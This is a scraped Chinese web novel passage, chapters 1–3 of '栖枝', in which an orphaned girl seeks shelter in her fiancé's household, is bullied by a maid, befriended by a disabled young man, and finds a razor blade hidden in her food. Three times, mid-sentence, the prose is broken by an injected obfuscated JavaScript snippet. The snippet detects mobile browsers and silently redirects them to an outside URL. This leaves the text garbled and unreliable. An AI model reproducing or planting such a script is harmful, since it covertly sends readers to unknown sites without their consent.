《栖枝》 1. 栖枝 明昌三十七年秋。 淮安，林府门外，漆红大门上的鎏金铜制门环被一只脏兮兮的小手握住。 白栖枝深吸一口气，鼓足勇气轻叩三声，旋即紧捏衣角静静等着。 “吱呀——” 厚重大门打开了一条小缝。 府内的小厮从门后探出头来，见她衣衫破烂，登时挥手驱赶道：“去去去，哪里来的叫花子，我们可没饭赏你，赶紧滚！” 白栖枝愣了一秒，赶紧掏出阿娘留给她的书信，上前急切辩解道：“不是的，我不是叫花子，我是——” “砰！” 厚重的大门再次紧闭，这位自长平行至淮安林家——徒步走了一月有余的白府千金，就这样被隔绝在林府富丽堂皇的朱红大门外。 单薄的信件从指尖滑落，白栖枝弯腰去捡。 小厮嫌弃的声音从门底缝内流出： “真是，一个臭小女叫花子也敢敲林府的门，活的不耐烦了？” 白栖枝怔了一瞬，心里像扎了根刺，陡然生起一股细细密密的痛——她本是长平白家白纪风之女，因家中遭贼人所害，这才带着阿娘所托付的信件来寻夫家庇佑。 而如今这林府当家大爷，正是与幼年时便与她缔结婚约的林家长公子林听澜。 天边暮色四合。 四下里，各处都点了灯，秋风瑟瑟，大红灯笼灯影憧憧，搞得人心惶惶不安。 眼瞅着天就要黑下来，白栖枝来不及心痛太久，赶紧捡起信纸，直起腰板，再次叩响林府的大门。 “笃笃笃笃笃。” 没人响应。 “阿旺，可是有人在敲门？” 府内，一道温润如玉的男声响起。 闻言，小厮的立马变得恭敬又温顺。 “啊沈公子。”他作揖轻声道，“不过是个小女叫花子来讨食罢了，没想到竟然惊扰了您休息，我这就把她撵走。” “小姑娘？” 男人顿了顿，温和道：“她一个小姑娘家出来乞讨也不容易，给她些铜板叫她去买些吃食、填填肚子吧。” “可是公子……” “去吧。” 空气似乎静了一瞬。 听着门内脚步声渐进，白栖枝下意识后退一步、 “吱呀——” 大门再次被打开，小厮极不情愿地捏着两个铜板朝她递来，鄙夷道：“喏，我家公子赏你的，拿了钱就快走吧。” 白栖枝看了看他手中的铜板，没有接，反而看向小厮身后那位被称为“沈公子”的人。 那是个坐在金丝楠木轮椅的、身着素白绸缎的公子。 此刻，他就坐在垂花门前，眉眼舒朗俊秀，通身上下一副府邸主人的气派，看的白栖枝忍不住恍惚了起来。 她是后退一步，再次抬头看向府邸牌匾上那两个墨黑大字。 ——林府。 “我不是叫花子。”确定了自己没有找错地方，白栖枝视线慢慢下滑，落在那位沈公子身上，朗声道，“我是林听澜的妻！” 此话一出，四周阒无人声。 小厮没想到她会说出这番话，怒道：“瞎说什么？全淮安谁不知道我家大爷钟情的是……”说到这儿，他似是意识到了什么，急忙顿住，赶紧将铜板塞进她手中，低声暗道，“赶紧走。”说完，又赔笑似的转过身道，“沈公子，这小丫头不懂事，胡言乱语，我这就把她……” “我没有胡言乱语！” 解释的话被打断，小厮扭头怒目而视，谁料刚一回头就撞见一张白纸黑字盖着林府私印的婚契，而那婚契上签字画押的字迹，赫然是老爷生前的笔迹。 小厮呆滞在原地不敢动弹。 白栖枝则错开他，擎着不知道从哪里来的胆量，迎着那位沈公子笑盈盈的目光，一鞠躬，将婚契双手奉上，不卑不亢道： “我乃长平白家白纪风之女白栖枝，因家中受害，特来淮安寻我夫君，还请公子允我一见！” …… 林家正厅内。 白栖枝跪在地上，垂着头，抿着唇，不敢去看堂上两人的神情。 眼下，林听澜就坐在八仙椅上，手里捏着那封被她攥得皱皱巴巴的婚契，细细读着，凌冽的眉眼间写满了嫌恶。 “抬头。” 话语声落下，白栖枝怯生生抬头，却在对上林听澜那双没有温度的茶色眼瞳时，下意识垂下眼帘不敢去看。 林听澜厌烦极了她这副怯懦模样。 下一秒—— “啪！” 被扔出的信纸拍打在白栖枝脸上发出一声脆响。 “听着，我是不可能娶你为妻的。”林听澜冷声道，“我早已对忘尘发过誓，此生不会再娶他人，想要凭借这个进我林府的门，我劝你还是死了这条心吧！” 他口中的忘尘，便是方才那位白衣公子——当今国子监沈博士庶子沈忘尘。 此刻，他也正坐在大厅内，就坐在林听澜身旁的八仙椅上，手中揣着汤婆子，垂眸看向白栖枝。 两道目光压就这样如山一般地压了下来。一时间，白栖枝只觉得自己像被人架在火上烤。 她怕极，却又想到父母此前的嘱咐，只得狠下心道：“可我自幼便与你有娃娃亲，白家亦对林家有扶持之恩，现如今你不娶，便意味着林家背信弃义，难不成你真能背负起这等骂名？更何况按大昭律法：林家收了我的聘礼却不娶，按大昭律法：若男家既纳聘财，又报婚书或有私约而悔婚者，当杖六十，以示众人。林听澜，这六十杖，你当真受得住？” 此话一出，正厅内一片寂静，连根针掉落的声音都能听个一清二楚。 白栖枝胆突的不行。 这话的前半段原是她娘在把她塞进箱子前匆匆教给她的。 她娘只说林家最重信义，她这么说，林家定不会坐视不理，给她个容身之处。 可至于这后半段，便是她幼时闲着无聊偷偷看律法记住的，也不知道能不能唬住林听澜。 堂内无人说话，白栖枝原本鼓足了的气顿时泄了一大半。 她伸手捡回被摔倒面前的信纸，不知所措地叠了一下又一下，很小声地补道：“其实不娶也是可以的，如果你能让我在林家小住一段时间的话……” 依旧没有人回答他。 直到过了五秒钟后，头顶，林听澜的声音才冰冷冷地落下：“来人，带她下去沐浴。” * “你说你，好好地来沈府做什么？你非得拆散公子与沈公子不成？” 浴堂内，婢女春花倒完水后将桶一摔，吓得屏风后的白栖枝不由得瑟缩了一下。 只听听春花气呼呼道：“自己滚进去洗！” 面对如此直白的嫌恶，白栖枝只是咬了咬苍白的下唇便麻利地脱掉衣裳，乖乖朝木桶里跨去。 桶里的水冰冷刺骨。 秋日寒凉，甫一入接触到睡眠，白栖枝便冻得打了个寒噤。 她不敢多说什么，只默默钻入水中，颤着手举起水舀往自己身上浇。 屏风外的春花还在埋怨个不停：“要知道，沈公子与我家公子可是天造地设的一对儿，沈公子身子不好，我家公子就为他四处求药，平日里，但凡是得着什么奇珍异宝无不往沈公子屋里送，奇珍异宝，懂吗？贵的都能买你的贱命了！你怎么还能腆着张脸往公子身边凑啊！！！” “啪嗒。” 似有滴水落入水面的声音。 面前荡起一圈涟漪，白栖枝急匆匆抹去左眼下浅浅的一道泪痕，吸了吸泛红的鼻尖，扼制住自己的唇舌不让自己哭出声。 明明她也不想的…… 若不是家中遭贼人迫害，她又岂愿拿着一纸“卖身契”千里迢迢地跑来淮安寄人篱下？ 她永远忘不了父亲一介书生却为了保护她与阿娘持刀与歹人厮杀被弯刀一刀封喉，忘不了阿兄为了赶紧让她与阿娘藏起来却被歹人抓住刺穿腹部，更忘不了她娘将信匆匆塞到她手里后忍着泪将她塞入暗箱中让她不得出声。 于是，在景初三十八年夏末，宣和画院白翰林之女白栖枝，自此—— 无枝可依。 待洗好澡，白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764763|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栖枝换上了身不合身的林府丫鬟的衣裳，小心翼翼地站在春花面前，乖乖地同她来到后覃房中。 “公子叫你先住在这儿，明日厢房收拾出来再叫你搬过去住。” 说完，春花刻薄地上下打量了她两眼，从鼻子里冒出一声冷哼后，如同怕沾上什么脏东西一边急急转身离开。 门被“啪”地关上，偌大的屋内只余白栖枝一人。 白栖枝小心翼翼地坐在床上。 床边的窗子破旧得合不严，一阵风吹来，冷得她赶紧朝手呵出一口热气，抱住自己臂膀搓了又搓，方能生出一些吝啬的暖意。 好冷…… 白栖枝吸了吸红红的鼻尖，正欲整理床铺，两声敲门声却在这时响起，吓得她身子猛地一缩。 难不成是春花姐落了东西？ 白栖枝想着，走到门前将门打开。 眼前的景象惊得她不敢喘气。 面前，两位小厮端来了热腾腾的饭菜和茶水，而那位沈公子就坐在轮椅内被人缓缓推来。 见她如此惊讶，他弯唇浅笑道：“想必白姑娘一路舟车劳顿定是饿了，我叫下人们做了些饭菜，方便的话，可以一起谈谈么？” 白栖枝逆着光朝他望，他的脸被月光照了个亮堂堂。 这人身材瘦削，坐姿板正，白皙的面容如玉般瓷白细致，五官阴柔却不妩媚，眉眼温润，鼻梁挺直，淡色薄唇微微抿起，划出一道优美的弧线，整个人谦和温润，如同清雅矜贵的世家公子——若他是个女儿身，必定是极俊俏极有灵气的。 白栖枝一下子看得呆了。 意识到自己的失神，白栖枝赶紧拢回神智，朝面前人浅浅一礼道：“沈哥哥请。” 沈忘尘是被人推进屋的。 白栖枝怯怯地站在门口看着，不敢出声。 几个小厮们摆了菜就出去了，临走前还不忘关上门。 一时间空荡荡的屋子里只剩下白栖枝和沈忘尘两个人。 白栖枝紧张地吞了口口水，后者却只是温和地笑着：“坐下吧，饭菜都是新出锅的，正热乎着，过会儿凉了就不好吃了。” 她战战兢兢地坐到沈忘尘面前。 一张板凳，她不敢坐满，屁股只浅浅搭了个边。 若是这么坐的话，待会沈忘尘呵责她或是朝她摔东西的话她也好跑，他应该追不上她……嗯，他应该追不上她。 想着，白栖枝滴溜溜地用一双大眼睛谨小慎微地盯着沈忘尘看。 沈忘尘只觉得她像只胆小的小兔子，双手双脚地在地上抛着坑，恨不得立即躲在洞里不出来。 他勾了勾唇，拿了筷子，拢在手心，递给她，声音轻到像是怕吓着她：“别怕，有什么事，我们吃完再说。” 白栖枝迟疑了下，最终还是接过。 “多谢。” 说完，她捧起面前的饭，低头，小口小口地吃着。 米饭还是热的，白栖枝只吃了一口便鼻头一酸。 一路上，她要么就是捡些商贩们不要的烂菜叶充饥，要么就是偷一偷街头巷尾里的那些家狗的残羹冷炙，情况最差的时候，就连树皮也可以扒下来冲击。 她已经很久没有吃上过一顿热乎乎的饭了，她差点忘了白米饭是什么味道了。 面前小姑娘低垂着头一口接一口地吃着白饭，连一筷子菜也不夹，沈忘尘忍不住有些疑惑：“怎么不吃菜呀？是不合口味么？要不要我让下人去重做？” 白栖枝赶紧摇了摇头，拿着筷子的顿了顿，才去夹面前的菜，却也只吃了一口便不吃了。 “怎么了？” 灯火葳蕤，沈忘尘看不太清白栖枝的面容，细看之下才发现她竟在咬着唇无声地掉眼泪。 白栖枝低着头，眼里渗出大颗大颗的泪珠，沾湿了纤长的眼睫，又顺着睫毛颗颗分明地落下。 热气腾腾的白米饭上湿了一片。 有泪划过脸颊被抿入嘴角，是酸涩的咸。 这下子，白栖枝再也忍不住内心酸楚，兀自小声喃喃道： “明明我也不想的……” 2. 讨好 “明明我也不想来的，明明我也想在家里好好长大的，明明我也不希望自己嫁人的……” 白栖枝心里有太多太多的“明明”，可事已至此，说什么都于事无补。 这世道对女子太过苛刻，她如今寄人篱下，就必须依附于夫家。除此之外，她什么也做不了。 泪水将一切晕染成成大片大片的色彩。 白栖枝看不清周遭的一切，只低着头，用筷子扒拉着碗里的饭，就着泪水将发苦的米饭往嗓眼子里咽。 沈忘尘见了，也不知该如何安慰她，张了张口，最后还是合上。 半晌，只听白栖枝吸了吸鼻子，又道：“其实我不希望林听澜娶我，一点也不，我只是想活下去。我娘说了，想活下去的话就必须得嫁到林府做媳妇，只要做了林府的媳妇，林府自然会庇护我，我知道沈哥哥喜欢林听澜，我从没想过要跟沈哥哥争的，我只是需要一个地方住。我很勤快的，无论叫我做什么我都能做，就算不会，我也可以学的，请不要把我赶走，我除了这儿哪也去不了了……” 她断断续续说了好多话，沈忘尘一直很耐心地听着，听着听着，就想起方才厅堂林听澜发怒的模样——看他那样，怕是过两日就会将这位白姑娘赶出去。 她还这样小，在这世上举目无亲，只伶仃一人，又该如何在外头过活呢？ 看着白栖枝可怜兮兮的模样，沈忘尘蓦地又想起自己在沈家的日子：他生母早逝，大娘对他极差，将他赶到府中偏院儿，使其病痛贫困交加于一身，他这副身子也是在那时候败落的。 在偏院的时候缺衣少食，日日需得绞尽脑汁才能勉强果腹，最差的时候，院子里的杂草也能用来填填肚子。 打他见到小姑娘的第一眼就觉得她和当年的自己好像，只是她的童年有她的阿爹阿娘疼爱，兴许会比他好上一些。 许是同病相怜，沈忘尘的心软成一滩水。 他来，本是想同这位自称是“林听澜之妻”的小姑娘“约法三章”的，如今听她这样说，倒叫他不知该如何开口。 好在白栖枝情绪来的快，去的也快，没一会儿又抬起头看着他瓜兮兮地笑了。 “不过没关系，我很能干的，以后无论沈哥哥有什么事都可以差遣我。我读过书，习过两个字，还会打算盘算账，打扫屋子庭院也会的，只是做饭还没有学，其他什么事我都能做的。” 白栖枝完全将自己摆在一个丫鬟奴仆的位置，只要能庇护她，让她当牛做马她也甘愿！ 沈忘尘只是皱着眉头笑：“这些平日里都有下人来打理的，白姑娘……” “栖枝，也可以唤我枝枝，我爹娘一直这么唤我的。”白栖枝道。 “好，枝枝。”喉咙有些发紧，沈忘尘偏过头去有气无力地咳了两声，又转过头来看她，“枝枝方才说自己读过书，习过字，可都学过些什么？” “唔……只读过《诗经》《论语》《弟子规》《道德经》一类的书，勉强识得几个字罢了。” “是读的私塾还是专门有先生上门来教？” “是先生上门教的。” “这样么……”沈忘尘思忖了下，忽而笑着问道，“不若以后我来教你习书如何？” “好啊……哎？！”白栖枝一时间没反应过来，等她反应过来的时候带着泪的睫毛不住地扑闪，似是不相信这只是事实似的。 可这惊喜也只停留了一瞬，随后，她那双黑白分明的大眼睛又黯淡下来。 “我没有钱……”白栖枝嗫喏着，白净的小脸上写满了局促不安，“我逃后遇到过一次劫匪，身上一点值钱的东西都没有了，我付不起钱的。” 沈忘尘笑意更甚：“钱的事先不急，我叫你习书记账，日后林家的账本可就要你来陪我一起打理了，工钱我按别人家记账先生的钱算给你，其中一半你用来付学费，另一半便是你自己的钱，随意你如何使用，如何？” 听到有工钱，白栖枝激动得就差去抱沈忘尘大腿了，但看起来沈忘尘的腿好像经不起她这么折腾。 沈忘尘看她这样忍不住弯了弯唇角，伸手想摸摸她的脑袋，可惜身子不如意，左手只微微抬了抬，就无力落到腿上。 见状，白栖枝赶紧下桌走到沈忘尘的木质轮椅旁，跪下，很自然地身体前倾，小狗似的将自己的下巴放到他朝上的掌心。 当年作为白府上下人眼珠子的千金大小姐，经过这些时日的驯化，如今最擅长事竟只有三件—— 哭。 下跪。 求饶讨好。 最难的时候，她甚至为了一小块馊了的馒头在地上手脚并用地爬上两个来回，只为能让一直看护着她的下人活下去。 可惜天不遂人愿，那小块馒头没能救回下人的命，因为那些人根本不想要将馒头给她，而是它丢给了一条饿的发疯的狗。 白栖枝拼尽全力也没能抢过那条狗，反倒被咬伤了虎口，到现在还留着一道浅棕色的疤痕。 脸颊忽地被轻捏了捏。 白栖枝仰头，一双水葡萄似的大眼睛清澈得不像话。 头顶，沈忘尘温柔却虚弱的声音再次响起：“以后可不许了，在林家，无论是谁叫你跪都不要下跪，知道了么？” “为什么？” 沈忘尘是想给她解释的，但看她这模样，就算解释也未必能听懂，只是叫她以后不许了。 白栖枝也很听话，点点头，从地上起来。 天色很晚了，沈忘尘的身子也禁不住他熬。他简单嘱咐了两句便让白栖枝好好休息，他自己也要好好休息了。 眼看着他被下人推走，也许是脑子里绷紧的弦忽然放松下来，白栖枝竟也有些困了。 她揉了揉有些泛红的眼圈，轻轻打了个呵欠，看向桌上没吃完的饭菜。 还剩下很多，留点明天早上吃也是好的。 等明天早上她得自己找些事来做，不能平白吃人家的住人家的不是？阿爹阿娘说了，这不合规矩，去人家里总要帮着做些什么的。 况且她现在是在求人收留，就更要做些什么来凸显出自己的价值，好不让别人她撵走…… 想着，白栖枝爬进被窝，躺着想了一会儿，便将身体蜷缩成小小一团，沉入了深深的黑甜乡。 夜深时分最是好眠。 梦里，阿爹阿娘都还活着，她还是那个全白府含在嘴里怕化了、捧在手里怕碎了的大小姐。 七岁那年，她阿爹阿娘特地打了个金子做的平安锁给她，那锁在流亡时被抢走了，如今却完完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764764|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整整地挂在她的脖子上。 曲水流觞宴，大家落座于院中溪流畔把酒言欢，她带着平安锁，平安锁下有铃铛，一舞一摇一声响，连带着家中客卿抚琴而歌的乐声，格外清脆响亮。 他们都说白家大小姐能歌善舞，通诗词歌赋，冰雪聪明，知书达理，日后必当好命，娶白大小姐的人也必是极有福气的。 就连阿爹阿娘也说：“唯有这世上顶好的儿郎才配得上我家枝枝。” 可转眼，这些都没了。 面前是焚不尽的大火，熊熊火焰舌头似的不住往漆黑的天上舔，火光将整个王府分成了上黑下红的两半。 窗上溅得是阿爹的血。 她被阿娘塞进箱子，哭得满脸是泪。 贼人破门而出，她阿娘被侮辱后又被一刀毙命。 血溅在箱子上发出好大的声响，甚至有些还从缝隙中钻进溅到她脸上。 她咬着舌尖强迫自己不出声，却仍忍不住将视线放出箱子外。 地上，阿娘的尸体僵硬地倒在地上，“咕噜噜”的声响响起，她垂眸去看，正巧对上阿娘一双满是血色的眼。 阿娘的头颅被贼人斩下，正透过箱子的缝隙一瞬不瞬地看着她。 白栖枝想尖叫，但求生的本能迫使她死死掐住自己的嘴发不出一点声响。 钻心的痛从虎口传来，口腔里满是鲜血铜臭味的腥气。 白栖枝感受到自己浑身上下的血液都在逆流。她在发抖，不受控制的发抖，她强迫自己不要抖。 屋里忽地没了声响。 就在她以为贼人走远后，忽地，一双血红的眸子贴上她的眼。 “！！！” 蓦地从噩梦中醒来，白栖枝掐着自己的咽喉不住喘息。 身上湿漉漉的冷汗黏腻着鬓发、衣衫，风透过窗户缝隙不住拍打在她身上。 “呼——呼——呼——” 白栖枝不停地喘着粗气。 面前是陌生的地方。 她下意识攥紧被子，怔忡了好一会儿才渐渐意识到自己如今是在林家的后覃房内。 没人会追杀她了…… 没人再追杀她了…… 白栖枝单薄的身子抖如筛糠，等她挨过这阵子心悸后，东方的天际已然泛起一丝鱼肚白。 不能再睡了。 白栖枝起身揉了把脸又往脸颊上拍了拍，直到清醒后才长舒口气，理了理衣裳，起身将床榻整理干净。 “笃笃笃。” 三声敲门声响，白栖枝的心“咚”地一阵，狠狠打了个寒噤。 没关系，没关系，这是林家，这是林家…… 她这样安慰自己，前去开门。 门外，春花早已是一副不耐烦的模样。 她将食案猛地往白栖枝怀里一送，说这是沈公子差人给准备她的早饭后朝她翻了个大大的白眼，走了。 白栖枝早已习惯别人的白眼。 关好门，她将食案放到桌上，将饭菜一一摆开。 饭还是热的，冒着丝丝缕缕的白烟，在这温度偏低的早晨显得格外暖心。 她拿起筷子，只先吃一口白米饭，未等细嚼，一阵被划开血肉的刺痛感在口中生生蔓延。 …… 3. 刀片 咸腥的铜臭味在口腔中翻涌。 白栖枝将差点咽下的异物吐出，一看，竟是个极细小的刀片。 还好她吃饭习惯性用舌头碾一下口中的食物，若非如此，恐怕她早让这刀片划破喉咙。 ——这东西不能被别人看见。 白栖枝看了有半晌，咽了口带血的唾沫，默默将染了血迹的刀片擦干净放到枕头下面。 做完一切，她什么也没说，只是又捡起筷子，就着口中伤痛和血的咸味吃着饭，一滴眼泪都没落下。 很快，又有下人来，要带她到沈公子的书房。 白栖枝默默跟着。 那下人朝她做了个请的手势，她回过神，朝那人微微一笑，道声了“多谢”，便独自一人往书房走去。 淡淡的墨香混着檀香味儿扑鼻而来。 阳光透过精致的格子窗，洒在书房内。 书架上排列着整齐的古籍。一张梨花木桌木质摆放在屋内靠后的位置，整洁的桌上除了整齐摆放着的文房四宝还有一把算盘、一只紫砂壶，两盏茶杯。其中一只还在冒着袅袅白烟。 沈忘尘就坐在那盏茶的后面。 从杯中升腾起的茶屋隐没了他俊秀温和的眉眼，叫白栖枝看不真切。 “沈哥哥……” 张口，最先感受到的是舌尖的刺痛。 白栖枝细腻的指尖一蜷，衣摆上蓦地留下片不合时宜的褶皱。 沈忘尘这才像意识到她来似的，缓缓从书卷中抬眸，朝她笑笑，又转头叫身旁服侍的人退下。 “可是公子，少爷他……” 身旁的下人想说些什么，却被沈忘尘眼神一晃，赶紧抿住嘴，知趣退下。 一时间，偌大的屋子只剩下两人。 白栖枝心中惊慌，正不知所措时，却听到面前人温声开口：“坐。” 沈忘尘面前也有一把小椅子。 白栖枝乖顺地走到他面前，坐下，低头不敢看她。 “春寒料峭，现如今早上还有些冷，先喝口热茶暖暖身子吧。” 他说着，却并未看向白栖枝，只低头兀自盯着面前的书本，亦或是账本，白栖枝只在眼睛不经意扫过时看到过一排密密麻麻的数字。 心跳如鼓，她端着茶杯的手还有些抖，却也十分听话地呷了口茶水。 盏内茶汤不算烫，入口也只是稍稍有些热。 但白栖枝舌上有伤，便是一点热的都碰不得，稍微碰下口中便疼得如刀割一般。 她一个没忍住，刚含到口中的热茶又被吐回茶盏。 饶是沈忘尘见她这副模样，也忍不住轻皱了皱眉头。 但下一秒，他便发现不对劲—— 有鲜红血丝在盏内渐渐晕开。 那血丝太稀薄了，不像是从喉咙里涌出来。 沈忘尘吐过血，知道吐血的场景应该是什么样。 可倘若不是吐血，那这血丝又从何而来？ 哪怕是细看了一番，沈忘尘也没从白栖枝唇上找出半点蛛丝马迹，反倒将白栖枝看得不适了。 “抱、抱歉……”白栖枝怯生生开口。 口中又是一阵剧痛。 她艰难地咽了口唾沫，忍痛慌乱道：“我、我不是故意的，请不要罚我。” 似有濡湿欲从嘴角溢出，她慌忙去擦，将那溢出的一点血迹不留痕迹地擦掉后，又把口中鲜血硬生生吞下。 见她目光躲闪，沈忘尘也不好追问什么，只待一会儿教过她珠算后便派人去查查究竟是怎么一回事。 “枝枝在家里可曾学过珠算？” “枝枝”两字一出口，白栖枝像吃了剂定心丸，忽地就松了口气。 “略有了解，但比起寻常人家应该还差上许多。” “我这儿有本关于珠算的书，你看一下。” 说着，沈忘尘似是想将书推到白栖枝面前，可他双手无力，只略略抬了些便又跌落。 白栖枝赶紧将书从他面前拿来，又抓过算盘，在对他疲惫又无奈的笑容后，心里不知怎么就跟打翻了的调味瓶一般酸涩苦辣咸一个劲儿往外涌，怎么收都收不住。 她略略垂眸，葱白指尖拨弄着算珠子。 “沈哥哥，是要整本都算完么？”白栖枝有些不确定，抬眸去看沈忘尘，手上的活计却一点不落。 在得到沈忘尘的肯定后，又赶紧低头扒拉着本子上的数。 她算得不慢，但对沈忘尘来说，着实不算快。 恰有下人拿着账本来寻他，他便借着这机会让白栖枝跟着他一起算。 白栖枝不见不知道，一见吓一跳。 只见沈忘尘盯着账本上的数字看了一会儿，没多久口中便报出一溜儿数字，一页下来竟无一处错误，甚至还比她这个打算盘的还要快些。 哇—— 白栖枝简直不知道该如何说出自己的心情。 钦慕，亦或是仰慕。 一双水葡萄似的眼睛亮汪汪的，倒看得沈忘尘有些不好意思了。 他笑笑：“不过是熟能生巧罢了，枝枝若勤加练习，日后必定会算得比我快。” 白栖枝只是用手背捂着嘴笑。 她是想回应点什么的，但嘴太疼了，一说话伤口又要挣开，还是不说话为好。 更何况少说少错，不说不错，她只要不说，便不会出错。 这一上午，两人就这样一直在算数。 白栖枝算本子上的题，沈忘尘算账本。 明明账本比册本还厚上许多，沈忘尘却在算完账簿后还有时间看看白栖枝算得如何。 不过这一看，他倒也发现小姑娘一些奇特之处，小姑娘打算盘从来不用看算盘，就连在纸上写计数的时候也不用看纸上的字，一双眼睛只停留在本子上。 这其中，他还有意无意地同她搭些话，问了些她以前的情况。 也不知是出于礼貌还是什么，小姑娘在回答他话的时候一直在看他的眼睛，偶尔艰难地咽口口水的时候目光会下滑一阵儿，但很快又回来，盯着他的眼睛看。 眼睛是在这儿看着，手却不停，就连写出的一排簪花小楷也是整齐得看不出一丝纰漏。 如此一来，沈忘尘觉得白栖枝还算聪明——就是胆子太小了，像个惴惴不安的小兔子，稍微有一点风吹草动就能把她吓个半死。 “公子，该用午膳了。” 门外，小厮的声音传来，沈忘尘才意识到已是午时了，他简单嘱咐了两句，便被小厮推走。 临走前，还不忘同白栖枝说：“厢房那边我已派人收拾出来，稍后你随人简单拿一下行李便可入住。我还派人上街买了些布料为你裁些新衣裳，稍后若有面生的人要进你房内，不要怕，应是来为你量身的裁缝，你且跟着他要求的做便好。” 白栖枝如小鸡啄米似的点头，直到目送他离开后才稍稍松了口气。 嘴里已经不疼了，也不知是真的不疼还是已经习惯了疼才会不疼。 白栖枝不傻，她知道刀片不是沈忘尘要人放的，更知道这事若是被说出去定会闹出些乱子。 当务之急，应是把那个刀片处理掉。但她又能扔到哪里呢？ 想着，白栖枝匆匆往屋子里赶。 林家大得很。 不一会儿，白栖枝就在院子里迷了路。 “是这里？不对……好像是这里。” 就在白栖枝面对两条几乎一模一样的路发愁时，原本在打扫庭院的春花见状走了过来。 “喂！” 背后突然传来一声响，吓得白栖枝瘦小的身子瑟缩了一下。 她转过身来，怯怯道：“春……” 春花将手里的扫把往她怀里狠狠一塞，怒道：“你在这里站着干什么？还真把自己当个主子了？我告诉你，要不是公子好心收留你，你就等着被外面的野狗吃了吧！” 她说着，搡了白栖枝一把。白栖枝受不住这力道狠狠跌坐在地。 她实在是瘦得厉害，猛地跌坐在地，磕得骨头生疼，偏她还不敢出一声，只生生忍着，将下唇咬出了一片淤青。 见她眼里泛起泪花，春花更不待见她了：“装什么呢！像你这样的人我可见多了！不过就是想让别人可怜你罢了。你也真是贱，想凭这种下三滥的手段来爬上大少爷的床，真是痴心妄想！” 说着，她一指旁边的银杏树，又道：“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764765|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉你，林家不留没用的东西，看见那棵银杏树了没？你要真是个识相的，就赶紧把那片地扫了，不然，我一准儿叫大少爷把你撵出去，知道了吗？！” 那股子疼劲儿还没缓过来，白栖枝喉头哽咽。 她不敢开口回答，生怕自己的哭声惹人心烦，只咬唇点了点头，迎来的却是春花的狠狠一脚。 春花恨恨道：“说你两句还装上哑巴了？你！” 她话还没说完，远处传来其他丫鬟的声音：“春花，快走啦，沈公子还叫我们把剩下的那些账本送到他房里呢。” “来了来了！”春花转头要走，却又顿住，回头狠狠瞪了白栖枝一眼道，“我告诉你，不许把今天的事告诉公子和大少爷，不然，我就要你好看，听明白了么！” “听、听明白了……”白栖枝抱着扫把瑟缩成一团。 春花原本还想教训她两句，奈何旁人实在是催得急，她愤愤一跺脚，朝那些人去了。 偌大的花园内，只剩下白栖枝一人。 昔日白家千娇万宠的大小姐如今竟沦落到被未婚夫府中一个粗使丫鬟欺凌打骂，就算白栖枝告诉自己这一切都是正常的，可湿润的眼眶中还是忍不住跌落一大颗泪来。 “啪嗒。” 一滴泪滴落在手背上凉的白栖枝一惊。 她赶紧抹去泪水，下意识地撇过头去看旁边有没有旁人。 四下里空无一人。 白栖枝哽咽着，松了一口气。 她擦了擦眼里的泪花，起身，抱着扫帚朝那棵落了满地枯叶的银杏树走去。 外头起了风，一棵银杏树叶从枝头跌落，打着转儿地飘进窗户。 林听澜在屋内来回踱步，枯叶飘到他面前被他一把抓住，又朝窗外扔去。 “不要急。”沈忘尘手中捧了个汤婆子温声道，“也许是在府内迷了路，这才来晚了些，再等等吧。” “等？”林听澜怒极反笑，“忘尘，你好心找裁缝为她做衣裳，她却迟迟不来，分明就是在给你脸色看！知人知面不知心，我看她昨天那样分明就是装给你看的，你还忍她做什么！” 沈忘尘道：“事未知，不可妄自断言。春花。” 一直等在外头的春花轻手轻脚地走进屋内，垂首欠身一礼道：“沈公子。” 沈忘尘问道：“方才你来时，可在院中见过白小姐？” 春花心中一惊。 她不敢将庭院发生的事让沈忘尘和林听澜知道，便一口咬死道：“回公子，未曾见过。”说完，她听沈忘尘轻叹了口气，低头，唯唯诺诺地又补上一句道，“不过我听其他丫鬟说，好像是在花园内曾见过白小姐一面，许是、许是白小姐玩的开心忘了时辰，奴婢这就去把白小姐请过来。” “请？”林听澜冷笑一声，“她以为她是谁，还要让人亲自去请！” 说完，他深吸一口气，吐出，强忍着怒火转身走到沈忘尘面前蹲下，将手搭在他手上轻声道：“忘尘，你先在这里等着，我去把她找过来。” 一个“找”字被他咬得格外得狠。 沈忘尘担忧地握住了林听澜的手，轻声道：“不要为难她。” 林听澜道：“放心，我林听澜心眼还没小到和小姑娘一般见识。” 沈忘尘这才缓缓臻首轻点，放手叫他离开。 见自家少爷怒气冲冲地走出屋子，春花心中窃喜，心道终于可以让那个插足少爷公子的贱人滚出林府了，日后，可就再没人能破坏少爷公子的感情了，自己可实在是个忠心护主好丫鬟！ “春花。” 